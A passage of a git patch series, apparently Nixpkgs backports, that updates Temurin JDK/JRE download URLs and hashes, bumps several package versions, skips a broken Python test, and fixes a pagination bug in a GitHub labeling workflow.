-            "sha256": "f1b78f2bd6d505d5e0539261737740ad11ade3233376b4ca52e6c72fbefd2bf6",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_aarch64_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "ab455a401d25e0cd20e652d2ee72e9f56beba0d9faac5a5c62c9b27a19df804b",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_aarch64_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "packageType": "jre",
           "powerpc64le": {
-            "build": "7",
-            "sha256": "381e31581af3858d4c471829c3da3263e83dfe8ac5d36b58403babb57f6e202c",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_ppc64le_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "721d3b374cb333269d487e7f99e2d247576c989d2e08a2842738ef62f432bcbd",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_ppc64le_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "riscv64": {
-            "build": "7",
-            "sha256": "a8d219a4a97f9c53ba88cb8927910005d4f3d08a87ab1bdebff921ef41afa93d",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_riscv64_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "8fd14594d0ad8576ba9b698fd10df4a297c548cfdc81cfbe52ac660aeaf5e2b2",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_riscv64_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "7fc9d6837da5fa1f12e0f41901fd70a73154914b8c8ecbbcad2d44176a989937",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_x64_linux_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "6d48379e00d47e6fdd417e96421e973898ac90765ea8ff2d09ae0af6d5d6a1c6",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_x64_linux_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           }
         },
         "openjdk23": {
@@ -490,64 +490,64 @@
         },
         "openjdk24": {
           "aarch64": {
-            "build": "36",
-            "sha256": "782a46008490272affe0b797155c2ae8e759e10c8ba4540f1f7285ef3d2902de",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_aarch64_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "ef2841ac661b18554961da14ae39ce7fec795fb53f6d52f0df3736c95db42e70",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_aarch64_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "packageType": "jre",
           "powerpc64le": {
-            "build": "36",
-            "sha256": "e7c90ab80d5e9419f794aee63c8f1bf3ed29e656d4e8e967a45d3069bd643c07",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_ppc64le_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "8f24261481d61470c636ba3698ab8ebd697ab6b766ce468f82513eb60dfb48b9",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_ppc64le_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "riscv64": {
-            "build": "36",
-            "sha256": "3a670b2116cfc7e806ebccf6ad3b5601936581afc666587653c47e642c0acf19",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_riscv64_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "f61ecea7d2b74036b51ba5f173137344ea3909c92eebe75a1f2b0ecec2037fa0",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_riscv64_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "36",
-            "sha256": "e8d8f5707d765a6bfca3de61320e0bb2618191c77947bc467ac5021e6193f351",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_x64_linux_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "88fb6ad6477ca160a554c8e636c4aa2096f6424828a7e1d90464e105df882875",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_x64_linux_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           }
         },
         "openjdk8": {
           "aarch64": {
-            "build": "6",
-            "sha256": "730ed649ee973b7408cf7107e90576b67e8ed4b3aebb9e3e8a1056151f373152",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_aarch64_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "5d0c81fd8bee49d1b9931acaecdc528fdc9393547cf5b24880445ade6b3f2384",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_aarch64_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "armv6l": {
-            "build": "6",
-            "sha256": "055c47c5c1dfe8c9c135d87fed7a3745c17374618bc8d5acb9316d1b812c0e6d",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_arm_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "6c0f29b6011d0baa46f90a572691b77ea93a45b4e5037141777a236956945c50",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_arm_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "armv7l": {
-            "build": "6",
-            "sha256": "055c47c5c1dfe8c9c135d87fed7a3745c17374618bc8d5acb9316d1b812c0e6d",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_arm_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "6c0f29b6011d0baa46f90a572691b77ea93a45b4e5037141777a236956945c50",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_arm_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "packageType": "jre",
           "powerpc64le": {
-            "build": "6",
-            "sha256": "812ebf110f1d1cfc26a135368850064f96689e7918aa6bbac1c8f210fad5752f",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_ppc64le_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "d9b523defdea8b82647726de8f62b57a19f2c64020b9ab6dbc5ae4929d0ee64e",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_ppc64le_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           },
           "vmType": "hotspot",
           "x86_64": {
-            "build": "6",
-            "sha256": "730fe33b1fc1f7da1e325d007b475d25a063850a167b548ea4bf689d4fcd867d",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_x64_linux_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "0c76f94e1b400a4da932a3f581b0788af2101819083184f40a6c76ac9b97081f",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_x64_linux_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           }
         }
       }
@@ -556,50 +556,50 @@
       "jdk": {
         "openjdk11": {
           "aarch64": {
-            "build": "4",
-            "sha256": "c970e5917964da1b50c0029ba88a6fbe962783def4de6a8a2835af6a6859002c",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_aarch64_mac_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "780ae402dcd93fea0fee10d02dcd0a0b72cb7298f2ef4dddbad4d54c31a40a4d",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_aarch64_mac_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "4",
-            "sha256": "b0142c2c85da43bb3565321164e8129b1166de5d6a43c88e567a92c39128c003",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jdk_x64_mac_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "805d225d46eab5702bf2f654856d846f426bebf6f143e5f06c8b1397855252e5",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jdk_x64_mac_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           }
         },
         "openjdk17": {
           "aarch64": {
-            "build": "7",
-            "sha256": "95bcc8052340394b87644d71a60fb26f31857f4090a7dfee57113e9e0f2dfacb",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_aarch64_mac_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "1a2fa2bb9ea059cf2c1ab3e296a98e006fb6fdad2bd19ce52df48794eaa1836a",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_aarch64_mac_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "bc2e9225d156d27149fc7a91817e6b64f76132b2b81d1f44cb8c90d7497b6ea7",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jdk_x64_mac_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "424d7f758a272718887bd93f4d8b63e560c0797a884e036c4b3dbf5d2cdfa1cd",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jdk_x64_mac_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           }
         },
         "openjdk21": {
           "aarch64": {
-            "build": "7",
-            "sha256": "4ef4083919126a3d93e603284b405c7493905497485a92b375f5d6c3e8f7e8f2",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_aarch64_mac_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "6fcb25f3f71a5ff245dec4ebe8bd5c643f179a5cd0a61c08e58a8c65914d2f97",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_aarch64_mac_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "7aacfc400078ad65b7c7de3ec75ff74bf5c2077d6740b350f85ae10be4f71e76",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jdk_x64_mac_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "8e6d876f60bc8b7866e91222ba9f27a78e5102d7a4ce4a6e915f95fe539b66ed",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jdk_x64_mac_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           }
         },
         "openjdk23": {
@@ -620,78 +620,78 @@
         },
         "openjdk24": {
           "aarch64": {
-            "build": "36",
-            "sha256": "8e343d2aaa1d00fdee351d392a4a3f537d81fa4a36f5fdf05e2e2c26d5c50af9",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_aarch64_mac_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "e3b1fe4cd3da335d07d62f335ae958f5a43c594be1ba333a06a03a49d2212cd4",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_aarch64_mac_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "36",
-            "sha256": "07a99d4a81c4d5e0c4936bf4b9f901565213781c67e865f304a8d8eb75e880d8",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jdk_x64_mac_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "181593f79dd278e0f44712cd87fd9874fd191e211810a0712450963370badb0a",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jdk_x64_mac_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           }
         },
         "openjdk8": {
           "packageType": "jdk",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "6",
-            "sha256": "2f70725e032fe55629a2659d53646b14c538b12cdcedc2d3c9fa342e1b401cf1",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jdk_x64_mac_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "2df9adf6f68ea9768a7c38ab6cccc85a018739f47f65fb102b1da5f74f6794f9",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jdk_x64_mac_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           }
         }
       },
       "jre": {
         "openjdk11": {
           "aarch64": {
-            "build": "4",
-            "sha256": "ea341e15094e8e892a2d9ff1d4960d1fd05937385278912618905d4b9e7c88e8",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_aarch64_mac_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "397578b4fb0aa4459e62f48415ebc1a9a7ae743fa49ab8f877bd873f3fe5095c",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_aarch64_mac_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           },
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "4",
-            "sha256": "6d184fbcfa659675f52a7d789d4db05b9c9873c18ad9975a7b3c31e20ee4c878",
-            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.26%2B4/OpenJDK11U-jre_x64_mac_hotspot_11.0.26_4.tar.gz",
-            "version": "11.0.26"
+            "build": "6",
+            "sha256": "b14394593ea1fabcf37f59f0dc5c9cb69752e434d0201cd2d7b4b56656a086f2",
+            "url": "https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.27%2B6/OpenJDK11U-jre_x64_mac_hotspot_11.0.27_6.tar.gz",
+            "version": "11.0.27"
           }
         },
         "openjdk17": {
           "aarch64": {
-            "build": "7",
-            "sha256": "9fb89125d5807f42cec588824fde487be42273a89c55ccfc5f44efda64e03e2c",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_aarch64_mac_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "2eb9548fbed1031355ca11a35b5a297e9872edd1dafacb40294f0c1a6677bbfb",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_aarch64_mac_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           },
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "f2c7454f7aba076cd414887b31da92e4a50fda7a13d97f6e295c911af60de0b6",
-            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.14%2B7/OpenJDK17U-jre_x64_mac_hotspot_17.0.14_7.tar.gz",
-            "version": "17.0.14"
+            "build": "6",
+            "sha256": "38f7bb3faaa3aec90290e6dd912a050cc895ee2aa8fb9d8ea6aac86822bb108b",
+            "url": "https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.15%2B6/OpenJDK17U-jre_x64_mac_hotspot_17.0.15_6.tar.gz",
+            "version": "17.0.15"
           }
         },
         "openjdk21": {
           "aarch64": {
-            "build": "7",
-            "sha256": "9b792bbd408676483caaeb619439190abf1552fe11ab05b19c80d408e5f49c25",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_aarch64_mac_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "61dca7744d0b92d5d270f03e2ff32d64e95f3f7c8d0acbe642d7733ccb8523ac",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_aarch64_mac_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           },
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "7",
-            "sha256": "632f7cba1aa752ae4108eccf3abc8b7e51b75d262e11e0cb9077b847438e5549",
-            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.6%2B7/OpenJDK21U-jre_x64_mac_hotspot_21.0.6_7.tar.gz",
-            "version": "21.0.6"
+            "build": "6",
+            "sha256": "c43f6adf33cc76f9060cedc879f004958296d8f924c6c9838d2f6eec4478ac0f",
+            "url": "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.7%2B6/OpenJDK21U-jre_x64_mac_hotspot_21.0.7_6.tar.gz",
+            "version": "21.0.7"
           }
         },
         "openjdk23": {
@@ -712,28 +712,28 @@
         },
         "openjdk24": {
           "aarch64": {
-            "build": "36",
-            "sha256": "fa9783caf9298b7e927b4589435257cf9a2cf12e1eb915992911b988f3d310bc",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_aarch64_mac_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "0c7789da2c90ea5623dea95d2815528ee83b0d2f0977b6bf830c4cac37251550",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_aarch64_mac_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           },
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "36",
-            "sha256": "10b2a32a5544c03a4bf36f12efc3a770bb789be20ff3c9edf85102c5879479de",
-            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24%2B36/OpenJDK24U-jre_x64_mac_hotspot_24_36.tar.gz",
-            "version": "24.0.0"
+            "build": "9",
+            "sha256": "c13e3f4f751eee02c324d6df66c65335fc887a9b62a0bdff26523ab1a83d242b",
+            "url": "https://github.com/adoptium/temurin24-binaries/releases/download/jdk-24.0.1%2B9/OpenJDK24U-jre_x64_mac_hotspot_24.0.1_9.tar.gz",
+            "version": "24.0.1"
           }
         },
         "openjdk8": {
           "packageType": "jre",
           "vmType": "hotspot",
           "x86_64": {
-            "build": "6",
-            "sha256": "e2658d0808fd2f4d5ad261a8954366a9b277eabd55a404452674b56abc325fec",
-            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u442-b06/OpenJDK8U-jre_x64_mac_hotspot_8u442b06.tar.gz",
-            "version": "8.0.442"
+            "build": "9",
+            "sha256": "9059321810b1d7b6a8168f73f320e83fd76196e57a5cc8459f87c72184b055e9",
+            "url": "https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u452-b09/OpenJDK8U-jre_x64_mac_hotspot_8u452b09.tar.gz",
+            "version": "8.0.452"
           }
         }
       }

From bd097d0f6aee659d6a5bccf05b4c5cead60aadcb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 23:51:17 +0000
Subject: [PATCH 1650/4511] xivlauncher: 1.1.2 -> 1.2.0

(cherry picked from commit 1c8d13d3657feb25c98cc195df8ace6497d76379)
---
 pkgs/by-name/xi/xivlauncher/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/xi/xivlauncher/package.nix b/pkgs/by-name/xi/xivlauncher/package.nix
index 55b48ef9f862..a537f9383d69 100644
--- a/pkgs/by-name/xi/xivlauncher/package.nix
+++ b/pkgs/by-name/xi/xivlauncher/package.nix
@@ -17,7 +17,7 @@
 }:
 
 let
-  rev = "1.1.2";
+  rev = "1.2.0";
 in
 buildDotnetModule rec {
   pname = "XIVLauncher";
@@ -27,7 +27,7 @@ buildDotnetModule rec {
     owner = "goatcorp";
     repo = "XIVLauncher.Core";
     inherit rev;
-    hash = "sha256-QkA18C3oWxcW0vK6sji7vbm4bY5LxwIWierAg5qf38Q=";
+    hash = "sha256-2ZL3giUrc4mUNh8rr+yI+k2Sx5rZsoFGR1ZBlTugH6M=";
     fetchSubmodules = true;
   };
 

From 014baf3039dc103d55d8b161b39b57ffff2d7729 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 9 Jun 2025 16:18:53 +0300
Subject: [PATCH 1651/4511] python313Packages.black: skip test broken on 3.13.4

(cherry picked from commit cd79fb5465fa7f6fc05be3dcaa8c98d90610dfe5)
---
 pkgs/development/python-modules/black/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/development/python-modules/black/default.nix b/pkgs/development/python-modules/black/default.nix
index 27f18cca5279..37c8e876fa62 100644
--- a/pkgs/development/python-modules/black/default.nix
+++ b/pkgs/development/python-modules/black/default.nix
@@ -95,6 +95,9 @@ buildPythonPackage rec {
     [
       # requires network access
       "test_gen_check_output"
+      # broken on Python 3.13.4
+      # FIXME: remove this when fixed upstream
+      "test_simple_format[pep_701]"
     ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [
       # fails on darwin

From 6e7c84a6d305230fa21c35470f63c1e01421488d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 02:52:36 +0000
Subject: [PATCH 1652/4511] linuxPackages.prl-tools: 20.3.2-55975 ->
 20.4.0-55980

(cherry picked from commit 70ec5192462e15eb54bf04add610cfd88ccd4353)
---
 pkgs/os-specific/linux/prl-tools/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/prl-tools/default.nix b/pkgs/os-specific/linux/prl-tools/default.nix
index ba2fe72e1277..b00f3401bc44 100644
--- a/pkgs/os-specific/linux/prl-tools/default.nix
+++ b/pkgs/os-specific/linux/prl-tools/default.nix
@@ -43,13 +43,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "prl-tools";
-  version = "20.3.2-55975";
+  version = "20.4.0-55980";
 
   # We download the full distribution to extract prl-tools-lin.iso from
   # => ${dmg}/Parallels\ Desktop.app/Contents/Resources/Tools/prl-tools-lin.iso
   src = fetchurl {
     url = "https://download.parallels.com/desktop/v${lib.versions.major finalAttrs.version}/${finalAttrs.version}/ParallelsDesktop-${finalAttrs.version}.dmg";
-    hash = "sha256-eazDR+eSUcp81XdRfYRHIt7E4FNCEjsh0M0wYQQYmMQ=";
+    hash = "sha256-FTlQNTdR5SpulF9f0qtmm+ynovaD4thTNAk96HbIzFQ=";
   };
 
   hardeningDisable = [

From d09d304b9b6889b6f2576612234a77fd78b9103c Mon Sep 17 00:00:00 2001
From: Ilan Joselevich <personal@ilanjoselevich.com>
Date: Thu, 26 Jun 2025 00:47:28 +0000
Subject: [PATCH 1653/4511] openbao: 2.2.2 -> 2.3.1

(cherry picked from commit 2e4c662061c76cbdad1abf496844451fddb495cf)
---
 pkgs/by-name/op/openbao/package.nix | 6 +++---
 pkgs/by-name/op/openbao/ui.nix      | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/op/openbao/package.nix b/pkgs/by-name/op/openbao/package.nix
index 63a76c91cba1..132f3ae08e2d 100644
--- a/pkgs/by-name/op/openbao/package.nix
+++ b/pkgs/by-name/op/openbao/package.nix
@@ -14,16 +14,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "openbao";
-  version = "2.2.2";
+  version = "2.3.1";
 
   src = fetchFromGitHub {
     owner = "openbao";
     repo = "openbao";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-r/CPxrVPn0s0qWqdsymqZLSEY0JMilPiWfxmOUvYvnM=";
+    hash = "sha256-X0O3JwJS49yReTEIjRfk0GGzgGDUZjNadKMZXUuor/I=";
   };
 
-  vendorHash = "sha256-zT/cLL34G93b62VTowwgs8ZZ41wmJ//lzooxVaN7p9Q=";
+  vendorHash = "sha256-uOWLCyLCSGMTjRpPbOWlJJYKbZmkkOWnzr5o3zvRLU0=";
 
   proxyVendor = true;
 
diff --git a/pkgs/by-name/op/openbao/ui.nix b/pkgs/by-name/op/openbao/ui.nix
index b81451b5b8db..d104c8b979f1 100644
--- a/pkgs/by-name/op/openbao/ui.nix
+++ b/pkgs/by-name/op/openbao/ui.nix
@@ -12,7 +12,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   offlineCache = yarn-berry_3.fetchYarnBerryDeps {
     inherit (finalAttrs) src sourceRoot;
-    hash = "sha256-bQ+ph7CvPtygvCoCMjTMadYLn/ds2ZOGQL29x3hFuLg=";
+    hash = "sha256-/SKQC+i8tgpYNVJIem8XDp+v7olGbRRgW25UhhLpIu8=";
   };
 
   nativeBuildInputs = [

From 78fdf41fff49303a042f6d48f7d0b9049bdd796b Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 9 Jun 2025 16:25:57 +0300
Subject: [PATCH 1654/4511] python313Packages.networkx: nixfmt

(cherry picked from commit 7a90517fff28e184655d4047754e2d60b94882b2)
---
 pkgs/development/python-modules/networkx/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/python-modules/networkx/default.nix b/pkgs/development/python-modules/networkx/default.nix
index b80019907614..91ff6b59b531 100644
--- a/pkgs/development/python-modules/networkx/default.nix
+++ b/pkgs/development/python-modules/networkx/default.nix
@@ -44,7 +44,7 @@ buildPythonPackage rec {
   patches = [
     (fetchpatch {
       url = "https://github.com/networkx/networkx/commit/d85b04a8b9619580d8901f35400414f612c83113.patch";
-      includes = ["networkx/generators/lattice.py"];
+      includes = [ "networkx/generators/lattice.py" ];
       hash = "sha256-6y/aJBDgNkUzmQ6o52CGVVzqoQgkCEXA4iAXhv1cS0c=";
     })
   ];

From 28ef24b4c236ac5c614d36db1bb4678f2fb6894d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 25 Jun 2025 14:51:49 +0200
Subject: [PATCH 1655/4511] workflows/labels: fix processing the 100 oldest PRs

The `page` number is 1-based, but the remainder might very well be 0.
This lead to not looking at the 100 oldest PRs, ever.

(cherry picked from commit 10c63e51170fa43f4e2ff021e8e113578f855662)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 3421ef77da5e..e1b7bd987cb2 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -390,7 +390,7 @@ jobs:
                   // so it should certainly be hit on the next iteration.
                   // TODO: Evaluate after a while, whether the above holds still true and potentially implement
                   // an overlap between runs.
-                  page: total_runs % Math.ceil(total_pulls / 100)
+                  page: (total_runs % Math.ceil(total_pulls / 100)) + 1
                 })).data
 
                 // Some items might be in both search results, so filtering out duplicates as well.

From ad1cfc34f3bdbe1ebab6dc2705c3674fe0f565a6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 25 Jun 2025 14:54:43 +0200
Subject: [PATCH 1656/4511] workflows/labels: slightly improve logging

(cherry picked from commit 4e9df2fc31d16dc04dff3d500583e4569c3ff07e)
---
 .github/workflows/labels.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index e1b7bd987cb2..e10f4832d513 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -247,6 +247,7 @@ jobs:
